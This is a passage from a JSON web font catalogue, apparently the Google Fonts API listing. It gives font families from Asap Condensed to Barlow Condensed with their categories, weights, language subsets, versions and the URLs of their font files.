"http://fonts.gstatic.com/s/asap/v11/KFOlCniXp96ayz4mWUlvAx05IsDqlA.ttf" } }, { "kind": "webfonts#webfont", "family": "Asap Condensed", "category": "sans-serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-26", "files": { "500": "http://fonts.gstatic.com/s/asapcondensed/v5/pxieypY1o9NHyXh3WvSbGSggdO9_S2lEgGqgp-pO.ttf", "600": "http://fonts.gstatic.com/s/asapcondensed/v5/pxieypY1o9NHyXh3WvSbGSggdO9TTGlEgGqgp-pO.ttf", "700": "http://fonts.gstatic.com/s/asapcondensed/v5/pxieypY1o9NHyXh3WvSbGSggdO83TWlEgGqgp-pO.ttf", "regular": "http://fonts.gstatic.com/s/asapcondensed/v5/pxidypY1o9NHyXh3WvSbGSggdNeLYk1Mq3ap.ttf", "italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxifypY1o9NHyXh3WvSbGSggdOeJaElurmapvvM.ttf", "500italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxiYypY1o9NHyXh3WvSbGSggdOeJUL1Him6CovpOkXA.ttf", "600italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxiYypY1o9NHyXh3WvSbGSggdOeJUJFAim6CovpOkXA.ttf", "700italic": "http://fonts.gstatic.com/s/asapcondensed/v5/pxiYypY1o9NHyXh3WvSbGSggdOeJUPVBim6CovpOkXA.ttf" } }, { "kind": "webfonts#webfont", "family": "Asar", "category": "serif", "variants": [ "regular" ], "subsets": [ "devanagari", "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/asar/v7/sZlLdRyI6TBIXkYQDLlTW6E.ttf" } }, { "kind": "webfonts#webfont", "family": "Asset", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/asset/v10/SLXGc1na-mM4cWImRJqExst1.ttf" } }, { "kind": "webfonts#webfont", "family": "Assistant", "category": "sans-serif", "variants": [ "200", "300", "regular", "600", "700", "800" ], "subsets": [ "hebrew", "latin" ], "version": "v4", "lastModified": "2019-07-17", "files": { "200": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7p0ScA5cZbCjItw.ttf", "300": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7w0ecA5cZbCjItw.ttf", "600": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7t0GcA5cZbCjItw.ttf", "700": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk700CcA5cZbCjItw.ttf", "800": "http://fonts.gstatic.com/s/assistant/v4/2sDZZGJYnIjSi6H75xk7z0OcA5cZbCjItw.ttf", "regular": "http://fonts.gstatic.com/s/assistant/v4/2sDcZGJYnIjSi6H75xkDb2-4C7wFZQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Astloch", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-26", "files": { "700": "http://fonts.gstatic.com/s/astloch/v11/TuGUUVJ8QI5GSeUjk2A-6MNPA10xLMQ.ttf", "regular": "http://fonts.gstatic.com/s/astloch/v11/TuGRUVJ8QI5GSeUjq9wRzMtkH1Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Asul", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/asul/v9/VuJxdNjKxYr40U8qeKbXOIFneRo.ttf", "regular": "http://fonts.gstatic.com/s/asul/v9/VuJ-dNjKxYr46fMFXK78JIg.ttf" } }, { "kind": "webfonts#webfont", "family": "Athiti", "category": "sans-serif", "variants": [ "200", "300", "regular", "500", "600", "700" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v4", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wAxDNyAv2-C99ycg.ttf", "300": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wAoDByAv2-C99ycg.ttf", "500": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wA-DFyAv2-C99ycg.ttf", "600": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wA1DZyAv2-C99ycg.ttf", "700": "http://fonts.gstatic.com/s/athiti/v4/pe0sMISdLIZIv1wAsDdyAv2-C99ycg.ttf", "regular": "http://fonts.gstatic.com/s/athiti/v4/pe0vMISdLIZIv1w4DBhWCtaiAg.ttf" } }, { "kind": "webfonts#webfont", "family": "Atma", "category": "display", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "bengali", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo8JzKjc9PvedRkM.ttf", "500": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo5pyKjc9PvedRkM.ttf", "600": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo7Z1Kjc9PvedRkM.ttf", "700": "http://fonts.gstatic.com/s/atma/v5/uK_z4rqWc-Eoo9J0Kjc9PvedRkM.ttf", "regular": "http://fonts.gstatic.com/s/atma/v5/uK_84rqWc-Eom25bDj8WIv4.ttf" } }, { "kind": "webfonts#webfont", "family": "Atomic Age", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/atomicage/v12/f0Xz0eug6sdmRFkYZZGL58Ht9a8GYeA.ttf" } }, { "kind": "webfonts#webfont", "family": "Aubrey", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/aubrey/v12/q5uGsou7NPBw-p7vugNsCxVEgA.ttf" } }, { "kind": "webfonts#webfont", "family": "Audiowide", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/audiowide/v8/l7gdbjpo0cum0ckerWCtkQXPExpQBw.ttf" } }, { "kind": "webfonts#webfont", "family": "Autour One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/autourone/v9/UqyVK80cP25l3fJgbdfbk5lWVscxdKE.ttf" } }, { "kind": "webfonts#webfont", "family": "Average", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/average/v8/fC1hPYBHe23MxA7rIeJwVWytTyk.ttf" } }, { "kind": "webfonts#webfont", "family": "Average Sans", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/averagesans/v8/1Ptpg8fLXP2dlAXR-HlJJNJPBdqazVoK4A.ttf" } }, { "kind": "webfonts#webfont", "family": "Averia Gruesa Libre", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/averiagruesalibre/v8/NGSov4nEGEktOaDRKsY-1dhh8eEtIx3ZUmmJw0SLRA8.ttf" } }, { "kind": "webfonts#webfont", "family": "Averia Libre", "category": "display", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/averialibre/v8/2V0FKIcMGZEnV6xygz7eNjEarovtb07t-pQgTw.ttf", "700": "http://fonts.gstatic.com/s/averialibre/v8/2V0FKIcMGZEnV6xygz7eNjEavoztb07t-pQgTw.ttf", "300italic": "http://fonts.gstatic.com/s/averialibre/v8/2V0HKIcMGZEnV6xygz7eNjESAJFhbUTp2JEwT4Sk.ttf", "regular": "http://fonts.gstatic.com/s/averialibre/v8/2V0aKIcMGZEnV6xygz7eNjEiAqPJZ2Xx8w.ttf", "italic": "http://fonts.gstatic.com/s/averialibre/v8/2V0EKIcMGZEnV6xygz7eNjESAKnNRWDh8405.ttf", "700italic": "http://fonts.gstatic.com/s/averialibre/v8/2V0HKIcMGZEnV6xygz7eNjESAJFxakTp2JEwT4Sk.ttf" } }, { "kind": "webfonts#webfont", "family": "Averia Sans Libre", "category": "display", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6SaxZG_G5OvCf_rt7FH3B6BHLMEd3lMKcQJZP1LmD9.ttf", "700": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6SaxZG_G5OvCf_rt7FH3B6BHLMEd31N6cQJZP1LmD9.ttf", "300italic": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6caxZG_G5OvCf_rt7FH3B6BHLMEdVLKisSL5fXK3D9qtg.ttf", "regular": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6XaxZG_G5OvCf_rt7FH3B6BHLMEeVJGIMYDo_8.ttf", "italic": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6RaxZG_G5OvCf_rt7FH3B6BHLMEdVLEoc6C5_8N3k.ttf", "700italic": "http://fonts.gstatic.com/s/averiasanslibre/v8/ga6caxZG_G5OvCf_rt7FH3B6BHLMEdVLKjsVL5fXK3D9qtg.ttf" } }, { "kind": "webfonts#webfont", "family": "Averia Serif Libre", "category": "display", "variants": [ "300", "300italic", "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIVzD2ms4wxr6GvjeD0X88SHPyX2xYGCSmqwacqdrKvbQ.ttf", "700": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIVzD2ms4wxr6GvjeD0X88SHPyX2xYGGS6qwacqdrKvbQ.ttf", "300italic": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIbzD2ms4wxr6GvjeD0X88SHPyX2xYOpzMmw60uVLe_bXHq.ttf", "regular": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIWzD2ms4wxr6GvjeD0X88SHPyX2xY-pQGOyYw2fw.ttf", "italic": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIUzD2ms4wxr6GvjeD0X88SHPyX2xYOpwuK64kmf6u2.ttf", "700italic": "http://fonts.gstatic.com/s/averiaseriflibre/v9/neIbzD2ms4wxr6GvjeD0X88SHPyX2xYOpzM2xK0uVLe_bXHq.ttf" } }, { "kind": "webfonts#webfont", "family": "B612", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v4", "lastModified": "2019-11-05", "files": { "700": "http://fonts.gstatic.com/s/b612/v4/3Jn9SDDxiSz34oWXPDCLTXUETuE.ttf", "regular": "http://fonts.gstatic.com/s/b612/v4/3JnySDDxiSz32jm4GDigUXw.ttf", "italic": "http://fonts.gstatic.com/s/b612/v4/3Jn8SDDxiSz36juyHBqlQXwdVw.ttf", "700italic": "http://fonts.gstatic.com/s/b612/v4/3Jn_SDDxiSz36juKoDWBSVcBXuFb0Q.ttf" } }, { "kind": "webfonts#webfont", "family": "B612 Mono", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin" ], "version": "v4", "lastModified": "2019-11-05", "files": { "700": "http://fonts.gstatic.com/s/b612mono/v4/kmK6Zq85QVWbN1eW6lJdayv4os9Pv7JGSg.ttf", "regular": "http://fonts.gstatic.com/s/b612mono/v4/kmK_Zq85QVWbN1eW6lJl1wTcquRTtg.ttf", "italic": "http://fonts.gstatic.com/s/b612mono/v4/kmK5Zq85QVWbN1eW6lJV1Q7YiOFDtqtf.ttf", "700italic": "http://fonts.gstatic.com/s/b612mono/v4/kmKkZq85QVWbN1eW6lJV1TZkp8VLnbdWSg4x.ttf" } }, { "kind": "webfonts#webfont", "family": "Bad Script", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/badscript/v8/6NUT8F6PJgbFWQn47_x7lOwuzd1AZtw.ttf" } }, { "kind": "webfonts#webfont", "family": "Bahiana", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bahiana/v4/uU9PCBUV4YenPWJU7xPb3vyHmlI.ttf" } }, { "kind": "webfonts#webfont", "family": "Bahianita", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v2", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/bahianita/v2/yYLr0hTb3vuqqsBUgxWtxTvV2NJPcA.ttf" } }, { "kind": "webfonts#webfont", "family": "Bai Jamjuree", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa0kePuk5A1-yiSgA.ttf", "300": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa09eDuk5A1-yiSgA.ttf", "500": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa0reHuk5A1-yiSgA.ttf", "600": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa0gebuk5A1-yiSgA.ttf", "700": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIqapSCOBt_aeQQ7ftydoa05efuk5A1-yiSgA.ttf", "200italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_oGkpox2S2CgOva.ttf", "300italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_pikZox2S2CgOva.ttf", "regular": "http://fonts.gstatic.com/s/baijamjuree/v3/LDI1apSCOBt_aeQQ7ftydoaMWcjKm7sp8g.ttf", "italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIrapSCOBt_aeQQ7ftydoa8W8LOub458jGL.ttf", "500italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_o6kJox2S2CgOva.ttf", "600italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_oWl5ox2S2CgOva.ttf", "700italic": "http://fonts.gstatic.com/s/baijamjuree/v3/LDIoapSCOBt_aeQQ7ftydoa8W_pylpox2S2CgOva.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "devanagari", "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-06", "files": { "500": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd76v_JeQAmX8yrdk.ttf", "600": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd74f4JeQAmX8yrdk.ttf", "700": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd7-P5JeQAmX8yrdk.ttf", "800": "http://fonts.gstatic.com/s/baloo2/v1/wXKuE3kTposypRyd7__6JeQAmX8yrdk.ttf", "regular": "http://fonts.gstatic.com/s/baloo2/v1/wXKrE3kTposypRyd11_WAewrhXY.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Bhai 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "gujarati", "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-06", "files": { "500": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPhf3CgFZ8HNV3Nw.ttf", "600": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPqfrCgFZ8HNV3Nw.ttf", "700": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IPzfvCgFZ8HNV3Nw.ttf", "800": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlcdRSL-z1VEWZ4YNA7Y5IP0fjCgFZ8HNV3Nw.ttf", "regular": "http://fonts.gstatic.com/s/baloobhai2/v1/sZlDdRSL-z1VEWZ4YNA7Y5I3cdTmiH1gFQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Bhaina 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "latin", "latin-ext", "oriya", "vietnamese" ], "version": "v1", "lastModified": "2020-03-06", "files": { "500": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiQPsREgkYYBX_3F.ttf", "600": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiQjthEgkYYBX_3F.ttf", "700": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiRHtxEgkYYBX_3F.ttf", "800": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWcwB6yyq4P9Adr3RtoX1q6ySiRbtBEgkYYBX_3F.ttf", "regular": "http://fonts.gstatic.com/s/baloobhaina2/v1/qWczB6yyq4P9Adr3RtoX1q6yShz7mDUoupoI.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Chettan 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "latin", "latin-ext", "malayalam", "vietnamese" ], "version": "v1", "lastModified": "2020-03-06", "files": { "500": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznFNRfMr0fn5bhCA.ttf", "600": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznONNfMr0fn5bhCA.ttf", "700": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznXNJfMr0fn5bhCA.ttf", "800": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8rdRbmXEva26PK-NtuX4ynWEznQNFfMr0fn5bhCA.ttf", "regular": "http://fonts.gstatic.com/s/baloochettan2/v1/vm8udRbmXEva26PK-NtuX4ynWEzf4P17OpYDlg.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Da 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "bengali", "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-06", "files": { "500": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJShr-hZloY23zejE.ttf", "600": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSjb5hZloY23zejE.ttf", "700": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSlL4hZloY23zejE.ttf", "800": "http://fonts.gstatic.com/s/balooda2/v1/2-ch9J9j0IaUMQZwAJyJSk77hZloY23zejE.ttf", "regular": "http://fonts.gstatic.com/s/balooda2/v1/2-ci9J9j0IaUMQZwAJyJcu7XoZFDf2Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Paaji 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "gurmukhi", "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-06", "files": { "500": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWKa5OwS-a3yGe9E.ttf", "600": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWIq-OwS-a3yGe9E.ttf", "700": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWO6_OwS-a3yGe9E.ttf", "800": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dRIFFzbz-QHZUdV9_UGWZuWPK8OwS-a3yGe9E.ttf", "regular": "http://fonts.gstatic.com/s/baloopaaji2/v1/i7dMIFFzbz-QHZUdV9_UGWZuYFKQHwyVd3U.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Tamma 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "kannada", "latin", "latin-ext", "vietnamese" ], "version": "v1", "lastModified": "2020-03-06", "files": { "500": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd7wf8tK1W77HtMo.ttf", "600": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd5AY8tK1W77HtMo.ttf", "700": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd_QZ8tK1W77HtMo.ttf", "800": "http://fonts.gstatic.com/s/balootamma2/v1/vEFK2_hCAgcR46PaajtrYlBbd-ga8tK1W77HtMo.ttf", "regular": "http://fonts.gstatic.com/s/balootamma2/v1/vEFX2_hCAgcR46PaajtrYlBbT0g21tqeR7c.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Tammudu 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "latin", "latin-ext", "telugu", "vietnamese" ], "version": "v1", "lastModified": "2020-03-06", "files": { "500": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGMVgy4YqLFrUnJA.ttf", "600": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGHV8y4YqLFrUnJA.ttf", "700": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGeV4y4YqLFrUnJA.ttf", "800": "http://fonts.gstatic.com/s/balootammudu2/v1/1Ptzg8TIS_SAmkLguUdFP8UaJcKGZV0y4YqLFrUnJA.ttf", "regular": "http://fonts.gstatic.com/s/balootammudu2/v1/1Pt2g8TIS_SAmkLguUdFP8UaJcK-xXEW6aGXHw.ttf" } }, { "kind": "webfonts#webfont", "family": "Baloo Thambi 2", "category": "display", "variants": [ "regular", "500", "600", "700", "800" ], "subsets": [ "latin", "latin-ext", "tamil", "vietnamese" ], "version": "v1", "lastModified": "2020-03-06", "files": { "500": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7CzLbe5Th_gRA7L.ttf", "600": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7CfKre5Th_gRA7L.ttf", "700": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7D7K7e5Th_gRA7L.ttf", "800": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9ffjeOW0NHpmOQXranrbDyu7DnKLe5Th_gRA7L.ttf", "regular": "http://fonts.gstatic.com/s/baloothambi2/v1/cY9cfjeOW0NHpmOQXranrbDyu4hHBJOxZQPp.ttf" } }, { "kind": "webfonts#webfont", "family": "Balsamiq Sans", "category": "display", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v1", "lastModified": "2020-05-06", "files": { "700": "http://fonts.gstatic.com/s/balsamiqsans/v1/P5sZzZiAbNrN8SB3lQQX7PncyWUyBY9mAzLFRQI.ttf", "regular": "http://fonts.gstatic.com/s/balsamiqsans/v1/P5sEzZiAbNrN8SB3lQQX7Pnc8dkdIYdNHzs.ttf", "italic": "http://fonts.gstatic.com/s/balsamiqsans/v1/P5sazZiAbNrN8SB3lQQX7PncwdsXJaVIDzvcXA.ttf", "700italic": "http://fonts.gstatic.com/s/balsamiqsans/v1/P5sfzZiAbNrN8SB3lQQX7PncwdsvmYpsBxDAVQI4aA.ttf" } }, { "kind": "webfonts#webfont", "family": "Balthazar", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/balthazar/v9/d6lKkaajS8Gm4CVQjFEvyRTo39l8hw.ttf" } }, { "kind": "webfonts#webfont", "family": "Bangers", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/bangers/v12/FeVQS0BTqb0h60ACL5la2bxii28.ttf" } }, { "kind": "webfonts#webfont", "family": "Barlow", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/barlow/v4/7cHrv4kjgoGqM7E3b8s8yn4hnCci.ttf", "200": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3w-oc4FAtlT47dw.ttf", "300": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3p-kc4FAtlT47dw.ttf", "500": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3_-gc4FAtlT47dw.ttf", "600": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E30-8c4FAtlT47dw.ttf", "700": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3t-4c4FAtlT47dw.ttf", "800": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3q-0c4FAtlT47dw.ttf", "900": "http://fonts.gstatic.com/s/barlow/v4/7cHqv4kjgoGqM7E3j-wc4FAtlT47dw.ttf", "100italic": "http://fonts.gstatic.com/s/barlow/v4/7cHtv4kjgoGqM7E_CfNYwHoDmTcibrA.ttf", "200italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfP04Voptzsrd6m9.ttf", "300italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfOQ4loptzsrd6m9.ttf", "regular": "http://fonts.gstatic.com/s/barlow/v4/7cHpv4kjgoGqM7EPC8E46HsxnA.ttf", "italic": "http://fonts.gstatic.com/s/barlow/v4/7cHrv4kjgoGqM7E_Ccs8yn4hnCci.ttf", "500italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfPI41optzsrd6m9.ttf", "600italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfPk5Foptzsrd6m9.ttf", "700italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfOA5Voptzsrd6m9.ttf", "800italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfOc5loptzsrd6m9.ttf", "900italic": "http://fonts.gstatic.com/s/barlow/v4/7cHsv4kjgoGqM7E_CfO451optzsrd6m9.ttf" } }, { "kind": "webfonts#webfont", "family": "Barlow Condensed", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxxL3I-JCGChYJ8VI-L6OO_au7B43LT31vytKgbaw.ttf", "200": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B497y_3HcuKECcrs.ttf", "300": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B47rx_3HcuKECcrs.ttf", "500": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B4-Lw_3HcuKECcrs.ttf", "600": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B4873_3HcuKECcrs.ttf", "700": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B46r2_3HcuKECcrs.ttf", "800": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B47b1_3HcuKECcrs.ttf", "900": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxwL3I-JCGChYJ8VI-L6OO_au7B45L0_3HcuKECcrs.ttf", "100italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxzL3I-JCGChYJ8VI-L6OO_au7B6xTru1H2lq0La6JN.ttf", "200italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrF3DWvIMHYrtUxg.ttf", "300italic": "http://fonts.gstatic.com/s/barlowcondensed/v4/HTxyL3I-JCGChYJ8VI-L6OO_au7B6xTrc3PWvIMHYrtUxg.ttf", "regular": 